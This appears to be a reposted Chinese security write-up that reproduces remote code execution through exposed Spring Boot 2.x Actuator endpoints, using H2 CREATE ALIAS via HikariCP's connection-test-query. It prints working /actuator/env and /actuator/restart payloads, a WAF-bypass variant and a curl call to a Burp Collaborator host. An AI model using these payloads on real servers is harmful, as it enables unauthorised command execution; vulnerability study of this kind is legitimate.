Spring Boot 2.x Actuator配置不当RCE漏洞复现
2020-04-02 10:58:19 Author: xz.aliyun.com(查看原文) 阅读量:406 收藏

0x00 前言

在对springboot acturator配置不当漏洞进行学习时,常见的是针对springboot 1.x版本的2种方式。对于springboot 2.x版本的利用很少提起,在阅读到了一篇在springboot 2.x版本下的利用方式后,对其进行复现,故有此文章。文章中的环境放在github上了

0x01 HikariCP数据库连接池

之前的两个RCE都是在Spring Boot 1.x版本下进行的,在spring 2.x下的版本如何进行RCE呢。幸运的是,Spring Boot 2.x默认使用的HikariCP数据库连接池提供了一个可以RCE的变量。这个变量就是spring.datasource.hikari.connection-test-query。这个变量与HikariCP中的connectionTestQuery配置相匹配。根据文档,此配置定义的是在从池中给出一个连接之前被执行的query,它的作用是验证数据库连接是否处于活动状态。简言之,无论何时一个恶心的数据库连接被建立时,spring.datasource.hikari.connection-test-query的值将会被作为一个SQL语句执行。然后利用SQL语句中的用户自定义函数,进行RCE。

0x02 H2 CREATE ALIAS 命令

H2数据库引擎是一个流行的java开发数据库,非常容易与Spring Boot集成,仅仅需要如下的一个dependency。

<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <scope>runtime</scope>
</dependency>

在H2中有一个非常重要的命令,与PostgreSQL中的用户定义函数相似,可以用CREATE ALIAS创建一个java函数然后调用它,示例如下:

CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');

仿照这个,创建命令执行的java函数可以如下:

String shellexec(String cmd) throws java.io.IOException { 
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
    if (s.hasNext()) {
        return s.next();
    } throw new IllegalArgumentException(); 
}

那么RCE所需的SQL语句即:

CREATE ALIAS EXEC AS "String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}";
CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');

与1.x类似,在端点/actuator/env通过POST方法进行环境变量的赋值。payload为

POST /actuator/env HTTP/1.1

content-type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');"}

执行RCE的SQL语句已经构建好,接下来就是触发一个新的数据库连接,通过向端点/actuator/restart发送POST请求,即可重启应用出发新的数据库连接。请求如下

POST /actuator/restart HTTP/1.1

content-type: application/json

{}

命令执行的结果:

0x03 针对WAFs

在这点上,可能会遇到常见的WAF过滤器,特别是对exec的过滤。然而,像这样的一个payload可以很容易地使用多种字符串拼接技术来绕过。比如使用CONCAT或HEXTORAW命令。上面的payload可写成

CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');
CALL EXEC('curl  http://x.burpcollaborator.net');

0x04 有限的执行上下文的命令注入

spring.datasource.hikari.connection-test-query是用来验证连接到数据库的连接是否存活。如果语句失败,应用会相信数据库无法连接并不再返回其他的数据库查询。攻击者可利用此来获得一个blind RCE。

参考


文章来源: http://xz.aliyun.com/t/7480
如有侵权请联系:admin#unsafe.sh